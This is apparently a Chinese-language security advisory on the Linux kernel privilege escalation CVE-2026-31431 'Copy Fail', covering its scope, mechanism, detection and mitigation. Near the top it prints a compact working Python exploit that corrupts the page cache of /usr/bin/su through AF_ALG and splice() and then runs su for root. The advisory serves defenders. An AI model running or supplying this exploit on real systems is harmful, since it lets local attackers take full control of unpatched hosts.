CVE-2026-31431 Copy Fail:Linux 内核本地提权漏洞风险与缓解

2026 年 4 月底,Linux 内核漏洞 CVE-2026-31431 公开披露,研究团队将其命名为 Copy Fail。该漏洞影响 Linux kernel 的 crypto/algif_aead 相关逻辑,攻击者在已经获得本地非特权用户执行权限的情况下,可能通过页面缓存写入链路完成本地提权,最终获得 root 权限。

需要先说明:该漏洞不是远程未授权 RCE,不能让互联网上的攻击者直接登录服务器;但它非常适合作为后渗透阶段的权限提升手段。一旦 Web 服务、CI 任务、容器、Notebook、在线判题、沙箱或普通用户账号被拿到执行权限,风险会明显放大。

exp测试

1
2
3
4
5
6
7
8
9
10
11

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

1. 漏洞概况

项目 内容
CVE 编号 CVE-2026-31431
漏洞名称 Copy Fail
漏洞类型 Linux 内核本地提权
影响组件 crypto/algif_aeadAF_ALGsplice() 相关路径
攻击条件 已获得本地非特权代码执行权限
网络条件 不需要网络访问
权限结果 本地用户可能提升到 root
CVSS kernel.org 给出的 CVSS 3.1 为 7.8 High

NVD 在 2026-04-22 收录该漏洞,截至 2026-04-30,NVD 页面仍显示为 awaiting enrichment,但已经引用了 kernel.org、Copy Fail 官网和公开 issue tracker 等信息。Ubuntu 安全页也将其标记为 High,理由是 trivial local privilege escalation。

2. 影响范围

从公开信息看,该问题与 2017 年引入的 algif_aead in-place 优化有关,因此影响时间跨度很长。研究方表示同一利用思路可在多个主流发行版上触发,包括 Ubuntu、Amazon Linux、RHEL、SUSE 等环境;Debian security tracker 也已经列出多个发行版本的受影响状态。

实际判断时不要只看“内核大版本”,应以发行版安全公告和当前安装的内核包为准。很多发行版会对内核做 backport,同一个上游版本号在不同发行版上的修复状态可能不同。

重点关注场景:

  • CI/CD 自托管 runner、Jenkins agent、GitLab runner 等会执行不可信代码的机器
  • 云上运行用户代码的平台,例如 Notebook、沙箱、Serverless、在线判题
  • 多租户容器宿主机,尤其是容器内代码可触达宿主共享内核的场景
  • 已经发生 WebShell、弱口令、RCE 后的 Linux 服务器
  • 有多用户登录权限的跳板机、开发机、实验环境

单用户桌面或仅少数管理员可登录的服务器风险相对低一些,但一旦本地代码执行被攻击者拿到,该漏洞就可能成为提权跳板。

3. 原理简述

Copy Fail 的核心在于多个看似正常的内核路径组合后,形成了一个危险的数据流:

  1. AF_ALG 暴露了用户态访问内核加密 API 的接口。
  2. splice() 可以把只读文件的 page cache 页面送入相关 scatterlist 链路。
  3. algif_aead 的 in-place 处理让 source 和 destination 之间的边界变得复杂。
  4. authencesn 在处理关联数据时存在对目标缓冲区的写入行为。

这些条件叠加后,攻击者可构造让内核把少量数据写入目标文件 page cache 的场景。公开分析中提到的典型目标是 setuid-root 二进制文件,例如 /usr/bin/su。由于修改发生在页面缓存中,磁盘文件本身并不一定被持久修改,但内核后续从 page cache 加载该二进制时,可能执行被临时污染的内容,从而触发本地提权。

修复方向是让 algif_aead 回到 out-of-place 操作,避免 page cache 页面进入可写 destination scatterlist。上游修复提交包含 a664bf3d603d

4. 是否需要马上处理

如果你的服务器满足下面任意一种情况,建议优先处理:

  • 对外业务曾经出现过 Web RCE、文件上传、命令执行或 WebShell 风险
  • 服务器上存在普通用户 SSH 登录
  • 机器运行了容器、沙箱、CI runner、自动化构建任务
  • 机器执行第三方提交的脚本、插件、模型、Notebook 或评测代码
  • 你无法保证所有本地用户完全可信

如果是一台完全单用户、没有外部代码执行入口、也没有普通用户登录的机器,风险可以排在远程 RCE、弱口令、暴露管理面之后,但仍建议跟随系统补丁更新内核。

5. 排查思路

先确认当前内核版本和发行版信息:

1
2
uname -a
cat /etc/os-release

查看当前是否加载 algif_aead

1
lsmod | grep algif_aead

检查系统中是否有进程使用 AF_ALG

1
2
ss -xa | grep -i alg
lsof | grep AF_ALG

以上命令只能辅助判断当前运行状态,不能替代漏洞修复状态判断。最终仍要查看发行版安全公告,确认正在运行的内核包是否包含对应修复。

6. 缓解措施

6.1 首选:升级内核

优先通过发行版官方源升级到包含修复的内核版本。升级后需要重启,确保系统实际运行的是新内核。

Debian/Ubuntu 系:

1
2
3
sudo apt update
sudo apt full-upgrade
sudo reboot

RHEL/CentOS/Rocky/Alma 系:

1
2
sudo dnf update kernel
sudo reboot

SUSE 系:

1
2
sudo zypper patch
sudo reboot

更新后再次确认:

1
uname -a

6.2 临时措施:禁用 algif_aead

如果暂时无法升级内核,可以先阻止 algif_aead 模块加载:

1
2
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo rmmod algif_aead 2>/dev/null || true

该措施通常不会影响 dm-crypt/LUKS、SSH、普通 OpenSSL/GnuTLS/NSS 使用场景,因为这些常见路径并不依赖用户态通过 AF_ALG 调用 AEAD。但如果系统明确使用 OpenSSL afalg engine、嵌入式加密卸载或直接创建 AF_ALG socket,需要先评估业务影响。

6.3 不可信工作负载:限制 AF_ALG

对容器、沙箱、CI runner、在线判题、Notebook 等不可信代码执行环境,建议通过 seccomp 阻止 AF_ALG socket 创建。即使已经打补丁,这也能减少同类内核攻击面的暴露。

同时建议:

  • 避免把自托管 runner 和生产主机混用
  • 对 runner、沙箱、构建机做短生命周期重建
  • 对容器宿主机保持更快的内核补丁节奏
  • 不要让不可信任务共享高价值宿主机

7. 应急建议

如果怀疑攻击者已经获得本地执行权限,应将该漏洞视为可能的提权路径之一。建议:

  • 先隔离主机,保留现场
  • 导出登录日志、sudo 日志、Web 服务日志和 EDR 告警
  • 检查异常 setuid 文件、异常用户、异常计划任务、异常 SSH key
  • 检查近期是否有运行不明 Python 脚本、下载执行行为或异常 su 调用
  • 完成内核升级或临时禁用措施后再恢复业务

需要注意,公开利用方式可能只修改 page cache,不一定会在磁盘文件 hash 上留下稳定痕迹。因此不能只依赖文件完整性校验来排除风险。

8. 总结

CVE-2026-31431 的危险点不在于远程入口,而在于“只要有本地代码执行,就可能迅速变成 root”。对普通服务器而言,它常常是攻击链后半段的问题;对 CI、沙箱、容器和多租户平台而言,它就是需要优先修复的高风险漏洞。

处理优先级建议:

  1. 能升级内核就先升级,并重启确认新内核运行。
  2. 暂时无法升级时,禁用 algif_aead
  3. 对所有不可信代码执行环境,用 seccomp 限制 AF_ALG
  4. 关注发行版公告,确认当前内核包是否已经 backport 修复。

参考链接